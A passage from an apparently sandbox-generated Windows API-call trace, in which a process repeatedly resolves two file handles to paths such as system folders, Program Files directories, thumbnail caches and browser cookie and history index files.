CloseHandle (hObject=0x114) returned 1 [0164.070] GetFileType (hFile=0x118) returned 0x1 [0164.070] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.071] CloseHandle (hObject=0x118) returned 1 [0164.071] GetFileType (hFile=0x114) returned 0x1 [0164.071] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0164.072] CloseHandle (hObject=0x114) returned 1 [0164.072] GetFileType (hFile=0x118) returned 0x0 [0164.072] CloseHandle (hObject=0x118) returned 1 [0164.072] GetFileType (hFile=0x114) returned 0x1 [0164.072] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0164.074] CloseHandle (hObject=0x114) returned 1 [0164.074] GetFileType (hFile=0x118) returned 0x1 [0164.074] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0164.078] CloseHandle (hObject=0x118) returned 1 [0164.080] GetFileType (hFile=0x114) returned 0x1 [0164.080] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.081] CloseHandle (hObject=0x114) returned 1 [0164.081] GetFileType (hFile=0x118) returned 0x1 [0164.081] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.082] CloseHandle (hObject=0x118) returned 1 [0164.082] GetFileType (hFile=0x114) returned 0x1 [0164.082] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.083] CloseHandle (hObject=0x114) returned 1 [0164.083] GetFileType (hFile=0x118) returned 0x1 [0164.083] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.085] CloseHandle (hObject=0x118) returned 1 [0164.085] GetFileType (hFile=0x114) returned 0x1 [0164.085] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.085] CloseHandle (hObject=0x114) returned 1 [0164.086] GetFileType (hFile=0x118) returned 0x1 [0164.086] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0164.087] CloseHandle (hObject=0x118) returned 1 [0164.087] GetFileType (hFile=0x114) returned 0x1 [0164.087] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.088] CloseHandle (hObject=0x114) returned 1 [0164.088] GetFileType (hFile=0x118) returned 0x1 [0164.088] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0164.091] CloseHandle (hObject=0x118) returned 1 [0164.091] GetFileType (hFile=0x114) returned 0x1 [0164.091] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0164.092] CloseHandle (hObject=0x114) returned 1 [0164.092] GetFileType (hFile=0x118) returned 0x1 [0164.092] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0164.094] CloseHandle (hObject=0x118) returned 1 [0164.094] GetFileType (hFile=0x114) returned 0x1 [0164.094] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0164.095] CloseHandle (hObject=0x114) returned 1 [0164.095] GetFileType (hFile=0x118) returned 0x0 [0164.095] CloseHandle (hObject=0x118) returned 1 [0164.095] GetFileType (hFile=0x114) returned 0x1 [0164.095] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0164.096] CloseHandle (hObject=0x114) returned 1 [0164.096] GetFileType (hFile=0x118) returned 0x1 [0164.097] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0164.097] CloseHandle (hObject=0x118) returned 1 [0164.097] GetFileType (hFile=0x114) returned 0x1 [0164.097] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0164.098] CloseHandle (hObject=0x114) returned 1 [0164.098] GetFileType (hFile=0x118) returned 0x1 [0164.098] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db") returned 0x5c [0164.099] CloseHandle (hObject=0x118) returned 1 [0164.099] GetFileType (hFile=0x114) returned 0x1 [0164.100] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0164.100] CloseHandle (hObject=0x114) returned 1 [0164.100] GetFileType (hFile=0x118) returned 0x1 [0164.101] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0164.101] CloseHandle (hObject=0x118) returned 1 [0164.102] GetFileType (hFile=0x114) returned 0x1 [0164.102] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db") returned 0x5b [0164.102] CloseHandle (hObject=0x114) returned 1 [0164.103] GetFileType (hFile=0x118) returned 0x1 [0164.103] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0164.104] CloseHandle (hObject=0x118) returned 1 [0164.104] GetFileType (hFile=0x114) returned 0x1 [0164.104] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db") returned 0x5d [0164.105] CloseHandle (hObject=0x114) returned 1 [0164.105] GetFileType (hFile=0x118) returned 0x1 [0164.105] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db") returned 0x5b [0164.106] CloseHandle (hObject=0x118) returned 1 [0164.106] GetFileType (hFile=0x114) returned 0x1 [0164.106] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db") returned 0x5c [0164.107] CloseHandle (hObject=0x114) returned 1 [0164.107] GetFileType (hFile=0x118) returned 0x1 [0164.107] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db") returned 0x5b [0164.108] CloseHandle (hObject=0x118) returned 1 [0164.108] GetFileType (hFile=0x114) returned 0x1 [0164.108] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.109] CloseHandle (hObject=0x114) returned 1 [0164.109] GetFileType (hFile=0x118) returned 0x1 [0164.109] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Mail") returned 0x21 [0164.109] CloseHandle (hObject=0x118) returned 1 [0164.109] GetFileType (hFile=0x114) returned 0x1 [0164.109] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.110] CloseHandle (hObject=0x114) returned 1 [0164.110] GetFileType (hFile=0x118) returned 0x1 [0164.110] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0164.110] CloseHandle (hObject=0x118) returned 1 [0164.110] GetFileType (hFile=0x114) returned 0x1 [0164.110] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.111] CloseHandle (hObject=0x114) returned 1 [0164.111] GetFileType (hFile=0x118) returned 0x1 [0164.111] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0164.112] CloseHandle (hObject=0x118) returned 1 [0164.112] GetFileType (hFile=0x114) returned 0x1 [0164.112] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.112] CloseHandle (hObject=0x114) returned 1 [0164.113] GetFileType (hFile=0x118) returned 0x1 [0164.113] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0164.113] CloseHandle (hObject=0x118) returned 1 [0164.113] GetFileType (hFile=0x114) returned 0x1 [0164.113] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.114] CloseHandle (hObject=0x114) returned 1 [0164.114] GetFileType (hFile=0x118) returned 0x1 [0164.114] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0164.114] CloseHandle (hObject=0x118) returned 1 [0164.114] GetFileType (hFile=0x114) returned 0x1 [0164.115] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.115] CloseHandle (hObject=0x114) returned 1 [0164.115] GetFileType (hFile=0x118) returned 0x1 [0164.115] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0164.116] CloseHandle (hObject=0x118) returned 1 [0164.116] GetFileType (hFile=0x114) returned 0x1 [0164.116] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.116] CloseHandle (hObject=0x114) returned 1 [0164.117] GetFileType (hFile=0x118) returned 0x1 [0164.117] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0164.117] CloseHandle (hObject=0x118) returned 1 [0164.117] GetFileType (hFile=0x114) returned 0x1 [0164.117] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.118] CloseHandle (hObject=0x114) returned 1 [0164.118] GetFileType (hFile=0x118) returned 0x1 [0164.118] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0164.118] CloseHandle (hObject=0x118) returned 1 [0164.118] GetFileType (hFile=0x114) returned 0x1 [0164.118] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.119] CloseHandle (hObject=0x114) returned 1 [0164.119] GetFileType (hFile=0x118) returned 0x1 [0164.119] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0164.119] CloseHandle (hObject=0x118) returned 1 [0164.119] GetFileType (hFile=0x114) returned 0x1 [0164.119] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.120] CloseHandle (hObject=0x114) returned 1 [0164.120] GetFileType (hFile=0x118) returned 0x1 [0164.120] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0164.121] CloseHandle (hObject=0x118) returned 1 [0164.121] GetFileType (hFile=0x114) returned 0x1 [0164.121] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.122] CloseHandle (hObject=0x114) returned 1 [0164.122] GetFileType (hFile=0x118) returned 0x1 [0164.122] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0164.122] CloseHandle (hObject=0x118) returned 1 [0164.122] GetFileType (hFile=0x114) returned 0x1 [0164.122] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.123] CloseHandle (hObject=0x114) returned 1 [0164.123] GetFileType (hFile=0x118) returned 0x1 [0164.123] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0164.123] CloseHandle (hObject=0x118) returned 1 [0164.123] GetFileType (hFile=0x114) returned 0x1 [0164.123] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.124] CloseHandle (hObject=0x114) returned 1 [0164.124] GetFileType (hFile=0x118) returned 0x1 [0164.124] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0164.124] CloseHandle (hObject=0x118) returned 1 [0164.124] GetFileType (hFile=0x114) returned 0x1 [0164.124] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.125] CloseHandle (hObject=0x114) returned 1 [0164.125] GetFileType (hFile=0x118) returned 0x1 [0164.125] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0164.125] CloseHandle (hObject=0x118) returned 1 [0164.125] GetFileType (hFile=0x114) returned 0x1 [0164.126] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.126] CloseHandle (hObject=0x114) returned 1 [0164.126] GetFileType (hFile=0x118) returned 0x1 [0164.126] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0164.127] CloseHandle (hObject=0x118) returned 1 [0164.127] GetFileType (hFile=0x114) returned 0x1 [0164.127] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.127] CloseHandle (hObject=0x114) returned 1 [0164.127] GetFileType (hFile=0x118) returned 0x1 [0164.127] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0164.128] CloseHandle (hObject=0x118) returned 1 [0164.128] GetFileType (hFile=0x114) returned 0x1 [0164.128] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.129] CloseHandle (hObject=0x114) returned 1 [0164.129] GetFileType (hFile=0x118) returned 0x1 [0164.129] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0164.129] CloseHandle (hObject=0x118) returned 1 [0164.129] GetFileType (hFile=0x114) returned 0x1 [0164.129] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.130] CloseHandle (hObject=0x114) returned 1 [0164.130] GetFileType (hFile=0x118) returned 0x1 [0164.130] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0164.131] CloseHandle (hObject=0x118) returned 1 [0164.131] GetFileType (hFile=0x114) returned 0x1 [0164.131] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.132] CloseHandle (hObject=0x114) returned 1 [0164.132] GetFileType (hFile=0x118) returned 0x1 [0164.133] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0164.134] CloseHandle (hObject=0x118) returned 1 [0164.134] GetFileType (hFile=0x114) returned 0x1 [0164.135] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.136] CloseHandle (hObject=0x114) returned 1 [0164.136] GetFileType (hFile=0x118) returned 0x1 [0164.136] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0164.136] CloseHandle (hObject=0x118) returned 1 [0164.136] GetFileType (hFile=0x114) returned 0x1 [0164.136] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.137] CloseHandle (hObject=0x114) returned 1 [0164.137] GetFileType (hFile=0x118) returned 0x1 [0164.137] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0164.137] CloseHandle (hObject=0x118) returned 1 [0164.138] GetFileType (hFile=0x114) returned 0x1 [0164.138] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.138] CloseHandle (hObject=0x114) returned 1 [0164.138] GetFileType (hFile=0x118) returned 0x1 [0164.138] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0164.139] CloseHandle (hObject=0x118) returned 1 [0164.139] GetFileType (hFile=0x114) returned 0x1 [0164.139] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.139] CloseHandle (hObject=0x114) returned 1 [0164.139] GetFileType (hFile=0x118) returned 0x1 [0164.139] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0164.140] CloseHandle (hObject=0x118) returned 1 [0164.140] GetFileType (hFile=0x114) returned 0x1 [0164.140] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.140] CloseHandle (hObject=0x114) returned 1 [0164.141] GetFileType (hFile=0x118) returned 0x1 [0164.141] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0164.141] CloseHandle (hObject=0x118) returned 1 [0164.141] GetFileType (hFile=0x114) returned 0x1 [0164.141] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.142] CloseHandle (hObject=0x114) returned 1 [0164.142] GetFileType (hFile=0x118) returned 0x1 [0164.142] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0164.142] CloseHandle (hObject=0x118) returned 1 [0164.142] GetFileType (hFile=0x114) returned 0x1 [0164.142] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.143] CloseHandle (hObject=0x114) returned 1 [0164.143] GetFileType (hFile=0x118) returned 0x1 [0164.143] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0164.143] CloseHandle (hObject=0x118) returned 1 [0164.144] GetFileType (hFile=0x114) returned 0x1 [0164.144] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.144] CloseHandle (hObject=0x114) returned 1 [0164.144] GetFileType (hFile=0x118) returned 0x1 [0164.144] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0164.145] CloseHandle (hObject=0x118) returned 1 [0164.145] GetFileType (hFile=0x114) returned 0x1 [0164.145] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.145] CloseHandle (hObject=0x114) returned 1 [0164.145] GetFileType (hFile=0x118) returned 0x1 [0164.146] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Photo Viewer") returned 0x29 [0164.146] CloseHandle (hObject=0x118) returned 1 [0164.146] GetFileType (hFile=0x114) returned 0x1 [0164.146] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.147] CloseHandle (hObject=0x114) returned 1 [0164.147] GetFileType (hFile=0x118) returned 0x1 [0164.147] GetFinalPathNameByHandleW (in: hFile=0x118, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Defender") returned 0x25 [0164.147] CloseHandle (hObject=0x118) returned 1 [0164.147] GetFileType (hFile=0x114) returned 0x1 [0164.147] GetFinalPathNameByHandleW (in: hFile=0x114, lpszFilePath=0x29de830, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0164.148] CloseHandle (hObject=0x114) returned 1 [0164.148] GetFileType 